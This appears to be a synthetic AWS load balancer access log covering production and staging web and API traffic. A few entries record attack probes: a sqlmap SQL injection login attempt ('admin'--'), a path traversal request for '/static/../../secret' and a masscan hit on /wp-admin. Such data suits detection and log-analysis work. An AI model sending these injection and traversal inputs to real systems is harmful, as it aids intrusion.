5947 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723be4f-69ebf3edae1b46e9afec5337" "staging-alb.example.com" "-" 8 2024-11-01T00:28:47.160087Z "forward" "-" "-" "66.193.129.17:8080" "200" "-" "-" +https 2024-11-01T00:28:47.843083Z prod-api-alb 142.119.221.152:40039 10.0.220.221:443 0.083678 0.158720 0.092638 404 404 845 2038 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723be4f-72b576bb10e94a1daf093ddf" "prod-api-alb.example.com" "-" 6 2024-11-01T00:28:47.843083Z "forward" "-" "-" "10.0.220.221:443" "404" "-" "-" +https 2024-11-01T00:28:48.078652Z prod-api-alb 219.248.53.130:60136 10.0.92.135:443 0.099519 0.081928 0.067129 200 200 781 3283 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723be50-40fd1fdfdac54a8590b5d9f5" "prod-api-alb.example.com" "-" 3 2024-11-01T00:28:48.078652Z "forward" "-" "-" "10.0.92.135:443" "200" "-" "-" +https 2024-11-01T00:28:48.361674Z prod-web-alb 98.72.248.101:64698 10.0.20.105:443 0.075595 0.378121 0.086868 200 200 723 7962 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723be50-1464122b477647ecbb8a960a" "prod-web-alb.example.com" "-" 9 2024-11-01T00:28:48.361674Z "forward" "-" "-" "10.0.20.105:443" "200" "-" "-" +https 2024-11-01T00:28:48.992326Z prod-web-alb 194.136.170.87:50663 10.0.174.164:443 0.084368 0.412645 0.032742 302 302 596 9410 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723be50-f6b24cf0ed9541ae8d96fbe2" "prod-web-alb.example.com" "-" 10 2024-11-01T00:28:48.992326Z "forward" "-" "-" "10.0.174.164:443" "302" "-" "-" +https 2024-11-01T00:28:50.338434Z prod-web-alb 157.157.229.151:22744 10.0.54.15:443 0.048347 0.294429 0.065021 200 200 333 9256 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723be52-3d63c8d3d3cc4acbb03cc9eb" "prod-web-alb.example.com" "-" 4 2024-11-01T00:28:50.338434Z "forward" "-" "-" "10.0.54.15:443" "200" "-" "-" +https 2024-11-01T00:28:51.809765Z prod-web-alb 6.116.197.56:41732 10.0.179.106:443 0.041295 0.215182 0.011726 200 200 294 8082 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723be53-7365743652a3430697a9f7b4" "prod-web-alb.example.com" "-" 2 2024-11-01T00:28:51.809765Z "forward" "-" "-" "10.0.179.106:443" "200" "-" "-" +https 2024-11-01T00:28:53.205515Z staging-alb 185.181.26.16:31979 182.5.177.230:8080 0.031933 0.050780 0.030442 200 200 481 8644 "GET /admin/login?username=admin'--&password=x HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723be55-518115a532bd4b829cb02fbc" "-" "-" 6 2024-11-01T00:28:53.205515Z "forward" "-" "-" "182.5.177.230:8080" "200" "-" "-" +https 2024-11-01T00:28:53.643043Z staging-alb 165.199.78.127:50809 121.37.234.70:8080 0.078483 0.607971 0.114530 404 404 197 3955 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723be55-972991a134604c28b121a1cf" "staging-alb.example.com" "-" 0 2024-11-01T00:28:53.643043Z "forward" "-" "-" "121.37.234.70:8080" "404" "-" "-" +https 2024-11-01T00:28:53.788024Z staging-alb 98.174.172.252:38188 34.152.236.236:80 0.084551 0.227255 0.000726 200 200 660 13559 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723be55-1fe0cb506ba348e6a098cd57" "-" "-" 1 2024-11-01T00:28:53.788024Z "forward" "-" "-" "34.152.236.236:80" "200" "-" "-" +https 2024-11-01T00:28:55.427816Z prod-api-alb 254.135.157.111:34119 10.0.196.245:443 0.068140 0.370194 0.088305 200 200 639 2456 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723be57-c88543f3b0224000b2c5e40e" "prod-api-alb.example.com" "-" 9 2024-11-01T00:28:55.427816Z "forward" "-" "-" "10.0.196.245:443" "200" "-" "-" +https 2024-11-01T00:28:56.180522Z prod-api-alb 247.10.197.89:52699 10.0.91.2:443 0.073266 0.137331 0.002359 404 404 944 4321 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723be58-c4d9cc893cf24450a82f13bc" "prod-api-alb.example.com" "-" 4 2024-11-01T00:28:56.180522Z "forward" "-" "-" "10.0.91.2:443" "404" "-" "-" +https 2024-11-01T00:28:57.244849Z prod-api-alb 115.125.7.151:20161 10.0.150.212:443 0.003453 0.113143 0.048745 302 302 10 4958 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723be59-ecfdd7d5f8cc4b809e69d454" "prod-api-alb.example.com" "-" 1 2024-11-01T00:28:57.244849Z "forward" "-" "-" "10.0.150.212:443" "302" "-" "-" +https 2024-11-01T00:28:58.263049Z staging-alb 148.28.225.238:60003 226.21.238.255:443 0.148950 0.620515 0.081909 200 200 453 5943 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723be5a-43038bc04a6e4d0595603f11" "staging-alb.example.com" "-" 1 2024-11-01T00:28:58.263049Z "forward" "-" "-" "226.21.238.255:443" "200" "-" "-" +https 2024-11-01T00:29:00.219315Z prod-api-alb 148.195.1.24:40420 10.0.223.183:443 0.032645 0.020586 0.009842 301 301 658 8575 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723be5c-a3f9f69b62e04b58897a4841" "prod-api-alb.example.com" "-" 6 2024-11-01T00:29:00.219315Z "forward" "-" "-" "10.0.223.183:443" "301" "-" "-" +https 2024-11-01T00:29:00.598126Z staging-alb 72.226.51.253:56722 243.236.12.64:80 0.083516 0.749068 0.121603 200 200 363 14486 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723be5c-3dbd822a450542b28a5331e9" "staging-alb.example.com" "-" 9 2024-11-01T00:29:00.598126Z "forward" "-" "-" "243.236.12.64:80" "200" "-" "-" +https 2024-11-01T00:29:02.388270Z prod-api-alb 111.236.188.88:41517 10.0.66.133:443 0.034626 0.357093 0.089517 404 404 435 14038 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723be5e-16a4304c1ef649f185c1f9c6" "prod-api-alb.example.com" "-" 4 2024-11-01T00:29:02.388270Z "forward" "-" "-" "10.0.66.133:443" "404" "-" "-" +https 2024-11-01T00:29:04.269939Z prod-web-alb 167.177.39.85:53817 10.0.159.53:443 0.017059 0.222862 0.096758 200 200 290 2843 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723be60-c27038171aab47029523a60d" "prod-web-alb.example.com" "-" 8 2024-11-01T00:29:04.269939Z "forward" "-" "-" "10.0.159.53:443" "200" "-" "-" +https 2024-11-01T00:29:05.108828Z prod-web-alb 143.240.150.69:13523 10.0.168.48:443 0.021623 0.079744 0.003966 200 200 354 5683 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723be61-c135965562d9403d8b3af59d" "prod-web-alb.example.com" "-" 10 2024-11-01T00:29:05.108828Z "forward" "-" "-" "10.0.168.48:443" "200" "-" "-" +http 2024-11-01T00:29:07.096844Z staging-alb 104.115.40.156:47087 44.45.170.125:8080 0.087050 0.663071 0.064792 301 301 911 10765 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723be63-949386ebd1e04a05a02b582a" "staging-alb.example.com" "-" 8 2024-11-01T00:29:07.096844Z "forward" "-" "-" "44.45.170.125:8080" "301" "-" "-" +https 2024-11-01T00:29:07.441446Z staging-alb 10.229.145.187:13512 136.18.14.201:8080 0.056231 0.711384 0.112586 200 200 529 8840 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723be63-1655d93bbce240a3b98d01f8" "staging-alb.example.com" "-" 9 2024-11-01T00:29:07.441446Z "forward" "-" "-" "136.18.14.201:8080" "200" "-" "-" +https 2024-11-01T00:29:07.855573Z prod-api-alb 163.33.100.11:46586 10.0.227.49:443 0.003241 0.141153 0.088373 200 200 875 4024 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723be63-6e911a3646af4ea19e880548" "prod-api-alb.example.com" "-" 10 2024-11-01T00:29:07.855573Z "forward" "-" "-" "10.0.227.49:443" "200" "-" "-" +https 2024-11-01T00:29:09.420359Z staging-alb 226.75.204.101:18957 20.8.68.199:443 0.099794 0.122253 0.025992 301 301 444 8680 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723be65-dbde7a5bbf704b02a1914eca" "staging-alb.example.com" "-" 4 2024-11-01T00:29:09.420359Z "forward" "-" "-" "20.8.68.199:443" "301" "-" "-" +https 2024-11-01T00:29:10.757083Z prod-api-alb 111.138.31.141:12284 10.0.137.47:443 0.032912 0.125603 0.032069 301 301 477 8710 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723be66-02b05c644b6a4f2da5efc483" "prod-api-alb.example.com" "-" 10 2024-11-01T00:29:10.757083Z "forward" "-" "-" "10.0.137.47:443" "301" "-" "-" +https 2024-11-01T00:29:11.740328Z prod-api-alb 133.136.22.174:30738 10.0.200.85:443 0.045000 0.125089 0.088658 200 200 398 1248 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723be67-e27d3fea9f614a0d9e6ee188" "prod-api-alb.example.com" "-" 1 2024-11-01T00:29:11.740328Z "forward" "-" "-" "10.0.200.85:443" "200" "-" "-" +https 2024-11-01T00:29:12.196381Z prod-web-alb 245.202.48.162:27590 10.0.183.19:443 0.014448 0.339118 0.097858 200 200 439 7934 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723be68-f7c8ce6a48fd4acc877325f6" "prod-web-alb.example.com" "-" 7 2024-11-01T00:29:12.196381Z "forward" "-" "-" "10.0.183.19:443" "200" "-" "-" +http 2024-11-01T00:29:13.675511Z staging-alb 70.9.99.243:56863 164.120.200.129:80 0.019989 0.558016 0.063002 302 302 831 4082 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723be69-3c785d7c948c432bbd1bd439" "staging-alb.example.com" "-" 10 2024-11-01T00:29:13.675511Z "forward" "-" "-" "164.120.200.129:80" "302" "-" "-" +http 2024-11-01T00:29:15.151823Z staging-alb 67.57.21.33:29444 165.55.253.69:80 0.082929 0.044506 0.000221 404 404 402 5932 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723be6b-d616246aff934752ba149d8f" "staging-alb.example.com" "-" 6 2024-11-01T00:29:15.151823Z "forward" "-" "-" "165.55.253.69:80" "404" "-" "-" +https 2024-11-01T00:29:17.099215Z staging-alb 185.181.25.65:49566 0.190.227.43:443 0.035810 0.595044 0.069897 302 302 71 3349 "GET /wp-admin HTTP/1.1" "masscan/1.3.2" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723be6d-1f029932d3a64ab7b229278c" "-" "-" 10 2024-11-01T00:29:17.099215Z "forward" "-" "-" "0.190.227.43:443" "302" "-" "-" +https 2024-11-01T00:29:17.808605Z prod-api-alb 163.140.135.176:19944 10.0.122.244:443 0.051545 0.234885 0.018172 302 302 217 8907 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723be6d-9ddf720725054b01b44e70cd" "prod-api-alb.example.com" "-" 2 2024-11-01T00:29:17.808605Z "forward" "-" "-" "10.0.122.244:443" "302" "-" "-" +https 2024-11-01T00:29:19.078116Z prod-web-alb 181.161.135.204:43103 10.0.110.173:443 0.016232 0.000333 0.087678 301 301 988 6743 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723be6f-eb9aef98dd00428d8a2a9f93" "prod-web-alb.example.com" "-" 3 2024-11-01T00:29:19.078116Z "forward" "-" "-" "10.0.110.173:443" "301" "-" "-" +https 2024-11-01T00:29:19.404385Z prod-api-alb 61.39.119.43:45991 10.0.122.222:443 0.000442 0.253877 0.090640 301 301 681 4876 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723be6f-eee2b87368114821b7659e2e" "prod-api-alb.example.com" "-" 5 2024-11-01T00:29:19.404385Z "forward" "-" "-" "10.0.122.222:443" "301" "-" "-" +https 2024-11-01T00:29:20.111705Z prod-web-alb 148.25.165.11:33665 10.0.48.160:443 0.076994 0.394013 0.080353 200 200 308 3145 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723be70-52bf0158f85c4eab8e033a24" "prod-web-alb.example.com" "-" 10 2024-11-01T00:29:20.111705Z "forward" "-" "-" "10.0.48.160:443" "200" "-" "-" +https 2024-11-01T00:29:20.373428Z prod-web-alb 4.113.174.9:44791 10.0.178.165:443 0.013980 0.049273 0.007758 200 200 158 10191 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723be70-34132647de7f4d78b4c585e3" "prod-web-alb.example.com" "-" 9 2024-11-01T00:29:20.373428Z "forward" "-" "-" "10.0.178.165:443" "200" "-" "-" +http 2024-11-01T00:29:21.163911Z staging-alb 102.147.8.83:34989 153.165.165.83:443 0.063386 0.689875 0.051719 200 200 910 5891 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723be71-3a1f4f6bed9a453fbef0f4f5" "staging-alb.example.com" "-" 8 2024-11-01T00:29:21.163911Z "forward" "-" "-" "153.165.165.83:443" "200" "-" "-" +http 2024-11-01T00:29:22.100252Z staging-alb 133.65.63.32:63492 102.0.82.42:443 0.134162 0.577665 0.072420 200 200 226 532 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723be72-e2fb2e6c8da143d8a6cf8dc8" "staging-alb.example.com" "-" 5 2024-11-01T00:29:22.100252Z "forward" "-" "-" "102.0.82.42:443" "200" "-" "-" +https 2024-11-01T00:29:23.905424Z prod-web-alb 7.255.251.99:13074 10.0.16.90:443 0.037001 0.474119 0.036381 404 404 752 11644 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723be73-c65646d805b446acb2e098fd" "prod-web-alb.example.com" "-" 5 2024-11-01T00:29:23.905424Z "forward" "-" "-" "10.0.16.90:443" "404" "-" "-" +https 2024-11-01T00:29:24.980887Z prod-api-alb 157.2.37.196:29304 10.0.208.118:443 0.059093 0.148202 0.031631 200 200 708 7917 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723be74-c72fd78cd29e468f8fad1cdb" "prod-api-alb.example.com" "-" 3 2024-11-01T00:29:24.980887Z "forward" "-" "-" "10.0.208.118:443" "200" "-" "-" +http 2024-11-01T00:29:26.838377Z staging-alb 136.105.184.87:24489 65.173.111.115:443 0.036140 0.725427 0.029736 404 404 966 9000 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723be76-eb1a5769bc234e5bb10c3478" "staging-alb.example.com" "-" 4 2024-11-01T00:29:26.838377Z "forward" "-" "-" "65.173.111.115:443" "404" "-" "-" +http 2024-11-01T00:29:27.606022Z staging-alb 130.248.251.103:11269 209.26.205.184:80 0.087467 0.010043 0.072562 404 404 631 9077 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723be77-647220bbd35b42bb9239b866" "staging-alb.example.com" "-" 7 2024-11-01T00:29:27.606022Z "forward" "-" "-" "209.26.205.184:80" "404" "-" "-" +https 2024-11-01T00:29:28.443549Z prod-api-alb 119.203.34.227:38505 10.0.32.243:443 0.080060 0.208206 0.046070 301 301 604 8865 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723be78-45b661c858164e479829b5a4" "prod-api-alb.example.com" "-" 4 2024-11-01T00:29:28.443549Z "forward" "-" "-" "10.0.32.243:443" "301" "-" "-" +https 2024-11-01T00:29:30.221375Z staging-alb 137.168.67.124:49172 184.92.129.59:443 0.149789 0.381424 0.111464 301 301 557 6741 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723be7a-436a9074f44245df81025bf9" "staging-alb.example.com" "-" 8 2024-11-01T00:29:30.221375Z "forward" "-" "-" "184.92.129.59:443" "301" "-" "-" +https 2024-11-01T00:29:31.460057Z prod-api-alb 72.47.88.37:52099 10.0.248.147:443 0.088773 0.237448 0.091197 301 301 679 14787 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723be7b-483a368f76ff4acd8f0e4e84" "prod-api-alb.example.com" "-" 1 2024-11-01T00:29:31.460057Z "forward" "-" "-" "10.0.248.147:443" "301" "-" "-" +https 2024-11-01T00:29:31.646646Z prod-web-alb 31.49.19.228:30571 10.0.168.219:443 0.090466 0.450066 0.048493 200 200 935 300 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723be7b-7c214776b29946489608c127" "prod-web-alb.example.com" "-" 8 2024-11-01T00:29:31.646646Z "forward" "-" "-" "10.0.168.219:443" "200" "-" "-" +https 2024-11-01T00:29:31.944216Z prod-web-alb 15.73.243.217:48023 10.0.32.2:443 0.085136 0.159441 0.012618 302 302 841 2833 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723be7b-05074d55b7ae4a54a65cd647" "prod-web-alb.example.com" "-" 6 2024-11-01T00:29:31.944216Z "forward" "-" "-" "10.0.32.2:443" "302" "-" "-" +https 2024-11-01T00:29:32.854826Z prod-web-alb 185.181.160.192:26802 10.0.141.85:443 0.039001 0.290010 0.035742 403 403 996 9746 "GET /static/../../secret HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723be7c-76506a21dbf04edf81db89c2" "-" "-" 9 2024-11-01T00:29:32.854826Z "forward" "-" "-" "10.0.141.85:443" "403" "-" "-" +https 2024-11-01T00:29:33.715802Z prod-api-alb 205.67.134.164:26891 10.0.83.167:443 0.056746 0.497990 0.001565 404 404 178 4732 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723be7d-9293a171b6e947318268444e" "prod-api-alb.example.com" "-" 1 2024-11-01T00:29:33.715802Z "forward" "-" "-" "10.0.83.167:443" "404" "-" "-" +http 2024-11-01T00:29:34.996239Z staging-alb 200.97.71.155:18093 148.38.76.173:443 0.042604 0.462531 0.021316 200 200 76 11176 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723be7e-7e1c2790228d4f43b50b8cc1" "staging-alb.example.com" "-" 7 2024-11-01T00:29:34.996239Z "forward" "-" "-" "148.38.76.173:443" "200" 